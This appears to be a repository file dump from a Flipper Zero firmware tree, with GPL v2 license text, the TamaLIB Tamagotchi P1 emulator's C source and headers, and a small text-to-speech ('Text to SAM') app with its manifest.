(2) offer you this license which gives you legal permission to copy,
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Finally, any free program is threatened constantly by software
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The precise terms and conditions for copying, distribution and
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GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
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a) You must cause the modified files to carry prominent notices
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b) You must cause any work that you distribute or publish, that in
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when run, you must cause it, when started running for such
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announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
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the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
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In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
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3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
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except as expressly provided under this License. Any attempt
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This section is intended to make thoroughly clear what is believed to
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8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
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of the General Public License from time to time. Such new versions will
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NO WARRANTY
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FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _CPU_H_
#define _CPU_H_
#include "hal.h"
#define MEMORY_SIZE 4096 // 4096 x 4 bits (640 x 4 bits of RAM)
#define MEM_RAM_ADDR 0x000
#define MEM_RAM_SIZE 0x280
#define MEM_DISPLAY1_ADDR 0xE00
#define MEM_DISPLAY1_SIZE 0x050
#define MEM_DISPLAY2_ADDR 0xE80
#define MEM_DISPLAY2_SIZE 0x050
#define MEM_IO_ADDR 0xF00
#define MEM_IO_SIZE 0x080
/* Define this if you want to reduce the footprint of the memory buffer from 4096 u4_t (most likely bytes)
* to 464 u8_t (bytes for sure), while increasing slightly the number of operations needed to read/write from/to it.
*/
#define LOW_FOOTPRINT
#ifdef LOW_FOOTPRINT
/* Invalid memory areas are not buffered to reduce the footprint of the library in memory */
#define MEM_BUFFER_SIZE (MEM_RAM_SIZE + MEM_DISPLAY1_SIZE + MEM_DISPLAY2_SIZE + MEM_IO_SIZE) / 2
/* Maps the CPU memory to the memory buffer */
#define RAM_TO_MEMORY(n) ((n - MEM_RAM_ADDR) / 2)
#define DISP1_TO_MEMORY(n) ((n - MEM_DISPLAY1_ADDR + MEM_RAM_SIZE) / 2)
#define DISP2_TO_MEMORY(n) ((n - MEM_DISPLAY2_ADDR + MEM_RAM_SIZE + MEM_DISPLAY1_SIZE) / 2)
#define IO_TO_MEMORY(n) \
((n - MEM_IO_ADDR + MEM_RAM_SIZE + MEM_DISPLAY1_SIZE + MEM_DISPLAY2_SIZE) / 2)
#define SET_RAM_MEMORY(buffer, n, v) \
{ \
buffer[RAM_TO_MEMORY(n)] = (buffer[RAM_TO_MEMORY(n)] & ~(0xF << (((n) % 2) << 2))) | \
((v)&0xF) << (((n) % 2) << 2); \
}
#define SET_DISP1_MEMORY(buffer, n, v) \
{ \
buffer[DISP1_TO_MEMORY(n)] = (buffer[DISP1_TO_MEMORY(n)] & ~(0xF << (((n) % 2) << 2))) | \
((v)&0xF) << (((n) % 2) << 2); \
}
#define SET_DISP2_MEMORY(buffer, n, v) \
{ \
buffer[DISP2_TO_MEMORY(n)] = (buffer[DISP2_TO_MEMORY(n)] & ~(0xF << (((n) % 2) << 2))) | \
((v)&0xF) << (((n) % 2) << 2); \
}
#define SET_IO_MEMORY(buffer, n, v) \
{ \
buffer[IO_TO_MEMORY(n)] = (buffer[IO_TO_MEMORY(n)] & ~(0xF << (((n) % 2) << 2))) | \
((v)&0xF) << (((n) % 2) << 2); \
}
#define SET_MEMORY(buffer, n, v) \
{ \
if((n) < (MEM_RAM_ADDR + MEM_RAM_SIZE)) { \
SET_RAM_MEMORY(buffer, n, v); \
} else if((n) < MEM_DISPLAY1_ADDR) { \
/* INVALID_MEMORY */ \
} else if((n) < (MEM_DISPLAY1_ADDR + MEM_DISPLAY1_SIZE)) { \
SET_DISP1_MEMORY(buffer, n, v); \
} else if((n) < MEM_DISPLAY2_ADDR) { \
/* INVALID_MEMORY */ \
} else if((n) < (MEM_DISPLAY2_ADDR + MEM_DISPLAY2_SIZE)) { \
SET_DISP2_MEMORY(buffer, n, v); \
} else if((n) < MEM_IO_ADDR) { \
/* INVALID_MEMORY */ \
} else if((n) < (MEM_IO_ADDR + MEM_IO_SIZE)) { \
SET_IO_MEMORY(buffer, n, v); \
} else { \
/* INVALID_MEMORY */ \
} \
}
#define GET_RAM_MEMORY(buffer, n) ((buffer[RAM_TO_MEMORY(n)] >> (((n) % 2) << 2)) & 0xF)
#define GET_DISP1_MEMORY(buffer, n) ((buffer[DISP1_TO_MEMORY(n)] >> (((n) % 2) << 2)) & 0xF)
#define GET_DISP2_MEMORY(buffer, n) ((buffer[DISP2_TO_MEMORY(n)] >> (((n) % 2) << 2)) & 0xF)
#define GET_IO_MEMORY(buffer, n) ((buffer[IO_TO_MEMORY(n)] >> (((n) % 2) << 2)) & 0xF)
#define GET_MEMORY(buffer, n) \
((buffer \
[((n) < (MEM_RAM_ADDR + MEM_RAM_SIZE)) ? RAM_TO_MEMORY(n) : \
((n) < MEM_DISPLAY1_ADDR) ? 0 : \
((n) < (MEM_DISPLAY1_ADDR + MEM_DISPLAY1_SIZE)) ? DISP1_TO_MEMORY(n) : \
((n) < MEM_DISPLAY2_ADDR) ? 0 : \
((n) < (MEM_DISPLAY2_ADDR + MEM_DISPLAY2_SIZE)) ? DISP2_TO_MEMORY(n) : \
((n) < MEM_IO_ADDR) ? 0 : \
((n) < (MEM_IO_ADDR + MEM_IO_SIZE)) ? IO_TO_MEMORY(n) : \
0] >> \
(((n) % 2) << 2)) & \
0xF)
#define MEM_BUFFER_TYPE u8_t
#else
#define MEM_BUFFER_SIZE MEMORY_SIZE
#define SET_MEMORY(buffer, n, v) \
{ buffer[n] = v; }
#define SET_RAM_MEMORY(buffer, n, v) SET_MEMORY(buffer, n, v)
#define SET_DISP1_MEMORY(buffer, n, v) SET_MEMORY(buffer, n, v)
#define SET_DISP2_MEMORY(buffer, n, v) SET_MEMORY(buffer, n, v)
#define SET_IO_MEMORY(buffer, n, v) SET_MEMORY(buffer, n, v)
#define GET_MEMORY(buffer, n) (buffer[n])
#define GET_RAM_MEMORY(buffer, n) GET_MEMORY(buffer, n)
#define GET_DISP1_MEMORY(buffer, n) GET_MEMORY(buffer, n)
#define GET_DISP2_MEMORY(buffer, n) GET_MEMORY(buffer, n)
#define GET_IO_MEMORY(buffer, n) GET_MEMORY(buffer, n)
#define MEM_BUFFER_TYPE u4_t
#endif
typedef struct breakpoint {
u13_t addr;
struct breakpoint* next;
} breakpoint_t;
/* Pins (TODO: add other pins) */
typedef enum {
PIN_K00 = 0x0,
PIN_K01 = 0x1,
PIN_K02 = 0x2,
PIN_K03 = 0x3,
PIN_K10 = 0X4,
PIN_K11 = 0X5,
PIN_K12 = 0X6,
PIN_K13 = 0X7,
} pin_t;
typedef enum {
PIN_STATE_LOW = 0,
PIN_STATE_HIGH = 1,
} pin_state_t;
typedef enum {
INT_PROG_TIMER_SLOT = 0,
INT_SERIAL_SLOT = 1,
INT_K10_K13_SLOT = 2,
INT_K00_K03_SLOT = 3,
INT_STOPWATCH_SLOT = 4,
INT_CLOCK_TIMER_SLOT = 5,
INT_SLOT_NUM,
} int_slot_t;
typedef struct {
u4_t factor_flag_reg;
u4_t mask_reg;
bool_t triggered; /* 1 if triggered, 0 otherwise */
u8_t vector;
} interrupt_t;
typedef struct {
u13_t* pc;
u12_t* x;
u12_t* y;
u4_t* a;
u4_t* b;
u5_t* np;
u8_t* sp;
u4_t* flags;
u32_t* tick_counter;
u32_t* clk_timer_timestamp;
u32_t* prog_timer_timestamp;
bool_t* prog_timer_enabled;
u8_t* prog_timer_data;
u8_t* prog_timer_rld;
u32_t* call_depth;
interrupt_t* interrupts;
MEM_BUFFER_TYPE* memory;
} state_t;
void cpu_add_bp(breakpoint_t** list, u13_t addr);
void cpu_free_bp(breakpoint_t** list);
void cpu_set_speed(u8_t speed);
state_t* cpu_get_state(void);
u32_t cpu_get_depth(void);
void cpu_set_input_pin(pin_t pin, pin_state_t state);
void cpu_sync_ref_timestamp(void);
void cpu_refresh_hw(void);
void cpu_reset(void);
bool_t cpu_init(const u12_t* program, breakpoint_t* breakpoints, u32_t freq);
void cpu_release(void);
int cpu_step(void);
#endif /* _CPU_H_ */

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applications/external/tama_p1/tamalib/hal.h vendored
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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _HAL_H_
#define _HAL_H_
#include "../hal_types.h"
#ifndef NULL
#define NULL 0
#endif
typedef enum {
LOG_ERROR = 0x1,
LOG_INFO = (0x1 << 1),
LOG_MEMORY = (0x1 << 2),
LOG_CPU = (0x1 << 3),
} log_level_t;
/* The Hardware Abstraction Layer
* NOTE: This structure acts as an abstraction layer between TamaLIB and the OS/SDK.
* All pointers MUST be implemented, but some implementations can be left empty.
*/
typedef struct {
/* Memory allocation functions
* NOTE: Needed only if breakpoints support is required.
*/
void* (*malloc)(u32_t size);
void (*free)(void* ptr);
/* What to do if the CPU has halted
*/
void (*halt)(void);
/* Log related function
* NOTE: Needed only if log messages are required.
*/
bool_t (*is_log_enabled)(log_level_t level);
void (*log)(log_level_t level, char* buff, ...);
/* Clock related functions
* NOTE: Timestamps granularity is configured with tamalib_init(), an accuracy
* of ~30 us (1/32768) is required for a cycle accurate emulation.
*/
void (*sleep_until)(timestamp_t ts);
timestamp_t (*get_timestamp)(void);
/* Screen related functions
* NOTE: In case of direct hardware access to pixels, the set_XXXX() functions
* (called for each pixel/icon update) can directly drive them, otherwise they
* should just store the data in a buffer and let update_screen() do the actual
* rendering (at 30 fps).
*/
void (*update_screen)(void);
void (*set_lcd_matrix)(u8_t x, u8_t y, bool_t val);
void (*set_lcd_icon)(u8_t icon, bool_t val);
/* Sound related functions
* NOTE: set_frequency() changes the output frequency of the sound, while
* play_frequency() decides whether the sound should be heard or not.
*/
void (*set_frequency)(u32_t freq);
void (*play_frequency)(bool_t en);
/* Event handler from the main app (if any)
* NOTE: This function usually handles button related events, states loading/saving ...
*/
int (*handler)(void);
} hal_t;
extern hal_t* g_hal;
#endif /* _HAL_H_ */

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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _HAL_TYPES_H_
#define _HAL_TYPES_H_
typedef unsigned char bool_t;
typedef unsigned char u4_t;
typedef unsigned char u5_t;
typedef unsigned char u8_t;
typedef unsigned short u12_t;
typedef unsigned short u13_t;
typedef unsigned int u32_t;
typedef unsigned int timestamp_t; // WARNING: Must be an unsigned type to properly handle wrapping (u32 wraps in around 1h11m when expressed in us)
#endif /* _HAL_TYPES_H_ */

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applications/external/tama_p1/tamalib/hw.c vendored
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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include "hw.h"
#include "cpu.h"
#include "hal.h"
/* SEG -> LCD mapping */
static u8_t seg_pos[40] = {0, 1, 2, 3, 4, 5, 6, 7, 32, 8, 9, 10, 11, 12,
13, 14, 15, 33, 34, 35, 31, 30, 29, 28, 27, 26, 25, 24,
36, 23, 22, 21, 20, 19, 18, 17, 16, 37, 38, 39};
bool_t hw_init(void) {
/* Buttons are active LOW */
cpu_set_input_pin(PIN_K00, PIN_STATE_HIGH);
cpu_set_input_pin(PIN_K01, PIN_STATE_HIGH);
cpu_set_input_pin(PIN_K02, PIN_STATE_HIGH);
return 0;
}
void hw_release(void) {
}
void hw_set_lcd_pin(u8_t seg, u8_t com, u8_t val) {
if(seg_pos[seg] < LCD_WIDTH) {
g_hal->set_lcd_matrix(seg_pos[seg], com, val);
} else {
/*
* IC n -> seg-com|...
* IC 0 -> 8-0 |18-3 |19-2
* IC 1 -> 8-1 |17-0 |19-3
* IC 2 -> 8-2 |17-1 |37-12|38-13|39-14
* IC 3 -> 8-3 |17-2 |18-1 |19-0
* IC 4 -> 28-12|37-13|38-14|39-15
* IC 5 -> 28-13|37-14|38-15
* IC 6 -> 28-14|37-15|39-12
* IC 7 -> 28-15|38-12|39-13
*/
if(seg == 8 && com < 4) {
g_hal->set_lcd_icon(com, val);
} else if(seg == 28 && com >= 12) {
g_hal->set_lcd_icon(com - 8, val);
}
}
}
void hw_set_button(button_t btn, btn_state_t state) {
pin_state_t pin_state = (state == BTN_STATE_PRESSED) ? PIN_STATE_LOW : PIN_STATE_HIGH;
switch(btn) {
case BTN_LEFT:
cpu_set_input_pin(PIN_K02, pin_state);
break;
case BTN_MIDDLE:
cpu_set_input_pin(PIN_K01, pin_state);
break;
case BTN_RIGHT:
cpu_set_input_pin(PIN_K00, pin_state);
break;
}
}
void hw_set_buzzer_freq(u4_t freq) {
u32_t snd_freq = 0;
switch(freq) {
case 0:
/* 4096.0 Hz */
snd_freq = 40960;
break;
case 1:
/* 3276.8 Hz */
snd_freq = 32768;
break;
case 2:
/* 2730.7 Hz */
snd_freq = 27307;
break;
case 3:
/* 2340.6 Hz */
snd_freq = 23406;
break;
case 4:
/* 2048.0 Hz */
snd_freq = 20480;
break;
case 5:
/* 1638.4 Hz */
snd_freq = 16384;
break;
case 6:
/* 1365.3 Hz */
snd_freq = 13653;
break;
case 7:
/* 1170.3 Hz */
snd_freq = 11703;
break;
}
if(snd_freq != 0) {
g_hal->set_frequency(snd_freq);
}
}
void hw_enable_buzzer(bool_t en) {
g_hal->play_frequency(en);
}

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applications/external/tama_p1/tamalib/hw.h vendored
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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _HW_H_
#define _HW_H_
#include "hal.h"
#define LCD_WIDTH 32
#define LCD_HEIGHT 16
#define ICON_NUM 8
typedef enum {
BTN_STATE_RELEASED = 0,
BTN_STATE_PRESSED,
} btn_state_t;
typedef enum {
BTN_LEFT = 0,
BTN_MIDDLE,
BTN_RIGHT,
} button_t;
bool_t hw_init(void);
void hw_release(void);
void hw_set_lcd_pin(u8_t seg, u8_t com, u8_t val);
void hw_set_button(button_t btn, btn_state_t state);
void hw_set_buzzer_freq(u4_t freq);
void hw_enable_buzzer(bool_t en);
#endif /* _HW_H_ */

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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include "tamalib.h"
#include "hw.h"
#include "cpu.h"
#include "hal.h"
#define DEFAULT_FRAMERATE 30 // fps
static exec_mode_t exec_mode = EXEC_MODE_RUN;
static u32_t step_depth = 0;
static timestamp_t screen_ts = 0;
static u32_t ts_freq;
static u8_t g_framerate = DEFAULT_FRAMERATE;
hal_t* g_hal;
bool_t tamalib_init(const u12_t* program, breakpoint_t* breakpoints, u32_t freq) {
bool_t res = 0;
res |= cpu_init(program, breakpoints, freq);
res |= hw_init();
ts_freq = freq;
return res;
}
void tamalib_release(void) {
hw_release();
cpu_release();
}
void tamalib_set_framerate(u8_t framerate) {
g_framerate = framerate;
}
u8_t tamalib_get_framerate(void) {
return g_framerate;
}
void tamalib_register_hal(hal_t* hal) {
g_hal = hal;
}
void tamalib_set_exec_mode(exec_mode_t mode) {
exec_mode = mode;
step_depth = cpu_get_depth();
cpu_sync_ref_timestamp();
}
void tamalib_step(void) {
if(exec_mode == EXEC_MODE_PAUSE) {
return;
}
if(cpu_step()) {
exec_mode = EXEC_MODE_PAUSE;
step_depth = cpu_get_depth();
} else {
switch(exec_mode) {
case EXEC_MODE_PAUSE:
case EXEC_MODE_RUN:
break;
case EXEC_MODE_STEP:
exec_mode = EXEC_MODE_PAUSE;
break;
case EXEC_MODE_NEXT:
if(cpu_get_depth() <= step_depth) {
exec_mode = EXEC_MODE_PAUSE;
step_depth = cpu_get_depth();
}
break;
case EXEC_MODE_TO_CALL:
if(cpu_get_depth() > step_depth) {
exec_mode = EXEC_MODE_PAUSE;
step_depth = cpu_get_depth();
}
break;
case EXEC_MODE_TO_RET:
if(cpu_get_depth() < step_depth) {
exec_mode = EXEC_MODE_PAUSE;
step_depth = cpu_get_depth();
}
break;
}
}
}
void tamalib_mainloop(void) {
timestamp_t ts;
while(!g_hal->handler()) {
tamalib_step();
/* Update the screen @ g_framerate fps */
ts = g_hal->get_timestamp();
if(ts - screen_ts >= ts_freq / g_framerate) {
screen_ts = ts;
g_hal->update_screen();
}
}
}

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/*
* TamaLIB - A hardware agnostic Tamagotchi P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _TAMALIB_H_
#define _TAMALIB_H_
#include "cpu.h"
#include "hw.h"
#include "hal.h"
#define tamalib_set_button(btn, state) hw_set_button(btn, state)
#define tamalib_set_speed(speed) cpu_set_speed(speed)
#define tamalib_get_state() cpu_get_state()
#define tamalib_refresh_hw() cpu_refresh_hw()
#define tamalib_reset() cpu_reset()
#define tamalib_add_bp(list, addr) cpu_add_bp(list, addr)
#define tamalib_free_bp(list) cpu_free_bp(list)
typedef enum {
EXEC_MODE_PAUSE,
EXEC_MODE_RUN,
EXEC_MODE_STEP,
EXEC_MODE_NEXT,
EXEC_MODE_TO_CALL,
EXEC_MODE_TO_RET,
} exec_mode_t;
void tamalib_release(void);
bool_t tamalib_init(const u12_t* program, breakpoint_t* breakpoints, u32_t freq);
void tamalib_set_framerate(u8_t framerate);
u8_t tamalib_get_framerate(void);
void tamalib_register_hal(hal_t* hal);
void tamalib_set_exec_mode(exec_mode_t mode);
/* NOTE: Only one of these two functions must be used in the main application
* (tamalib_step() should be used only if tamalib_mainloop() does not fit the
* main application execution flow).
*/
void tamalib_step(void);
void tamalib_mainloop(void);
#endif /* _TAMALIB_H_ */

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applications/external/text2sam/application.fam vendored
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App(
appid="text2sam",
name="Text to SAM",
apptype=FlipperAppType.EXTERNAL,
entry_point="sam_app",
cdefines=["APP_SAM"],
# requires=["gui",],
requires=[
"gui",
"dialogs",
],
stack_size=4 * 1024,
# stack_size=2 * 1024,
fap_icon="icon.png",
fap_category="Media",
fap_author="@Round-Pi & (Fixes by @Willy-JL)",
fap_weburl="https://github.com/Round-Pi/flipperzero-text2sam",
fap_version="1.1",
fap_description="Convert text to speech on your Flipper Zero with SAM (Software Automatic Mouth).",
)

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145
applications/external/text2sam/sam_app.cpp vendored
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#include <furi.h>
#include <furi_hal_speaker.h>
#include <stdlib.h>
#include <input/input.h>
#include <dialogs/dialogs.h>
#include <flipper_format/flipper_format.h>
#include <gui/gui.h>
#include <gui/view.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/text_input.h>
#include "stm32_sam.h"
#define TAG "SAM"
#define SAM_SAVE_PATH APP_DATA_PATH("message.txt")
#define TEXT_BUFFER_SIZE 256
STM32SAM voice;
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
ViewDispatcher* view_dispatcher;
TextInput* text_input;
char input[TEXT_BUFFER_SIZE];
} AppState;
AppState* app_state;
static void say_something(char* something) {
if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) {
voice.begin();
voice.say(something);
furi_hal_speaker_release();
}
}
static void text_input_callback(void* ctx) {
AppState* app_state = (AppState*)ctx;
//FURI_LOG_D(TAG, "Input text: %s", app_state->input);
// underscore_to_space(app_state->input);
for(int i = 0; app_state->input[i] != '\0'; i++) {
if(app_state->input[i] == '_') {
app_state->input[i] = ' ';
}
}
say_something(app_state->input);
}
static bool back_event_callback(void* ctx) {
const AppState* app_state = (AppState*)ctx;
view_dispatcher_stop(app_state->view_dispatcher);
return true;
}
static void sam_state_init(AppState* const app_state) {
app_state->view_dispatcher = view_dispatcher_alloc();
app_state->text_input = text_input_alloc();
}
static void sam_state_free(AppState* const app_state) {
text_input_free(app_state->text_input);
view_dispatcher_remove_view(app_state->view_dispatcher, 0);
view_dispatcher_free(app_state->view_dispatcher);
free(app_state);
}
static void save_message(FuriString* save_string) {
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
if(storage_file_open(file, SAM_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
storage_file_write(file, save_string, TEXT_BUFFER_SIZE);
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
}
static bool load_messages() {
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
storage_common_migrate(storage, EXT_PATH("sam.txt"), SAM_SAVE_PATH);
File* file = storage_file_alloc(storage);
uint16_t bytes_read = 0;
if(storage_file_open(file, SAM_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
bytes_read = storage_file_read(file, app_state->input, TEXT_BUFFER_SIZE);
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return bytes_read == TEXT_BUFFER_SIZE;
}
extern "C" int32_t sam_app(void* p) {
UNUSED(p);
app_state = (AppState*)malloc(sizeof(AppState));
FURI_LOG_D(TAG, "Running sam_state_init");
sam_state_init(app_state);
FURI_LOG_D(TAG, "Assigning text input callback");
load_messages();
text_input_set_result_callback(
app_state->text_input,
text_input_callback,
app_state,
app_state->input,
TEXT_BUFFER_SIZE,
false); //clear default text
text_input_set_header_text(app_state->text_input, "Input");
Gui* gui = (Gui*)furi_record_open(RECORD_GUI);
view_dispatcher_enable_queue(app_state->view_dispatcher);
FURI_LOG_D(TAG, "Adding text input view to dispatcher");
view_dispatcher_add_view(
app_state->view_dispatcher, 0, text_input_get_view(app_state->text_input));
FURI_LOG_D(TAG, "Attaching view dispatcher to GUI");
view_dispatcher_attach_to_gui(app_state->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
FURI_LOG_D(TAG, "starting view dispatcher");
view_dispatcher_set_navigation_event_callback(app_state->view_dispatcher, back_event_callback);
view_dispatcher_set_event_callback_context(app_state->view_dispatcher, app_state);
view_dispatcher_switch_to_view(app_state->view_dispatcher, 0);
view_dispatcher_run(app_state->view_dispatcher);
save_message((FuriString*)app_state->input);
furi_record_close(RECORD_GUI);
sam_state_free(app_state);
return 0;
}

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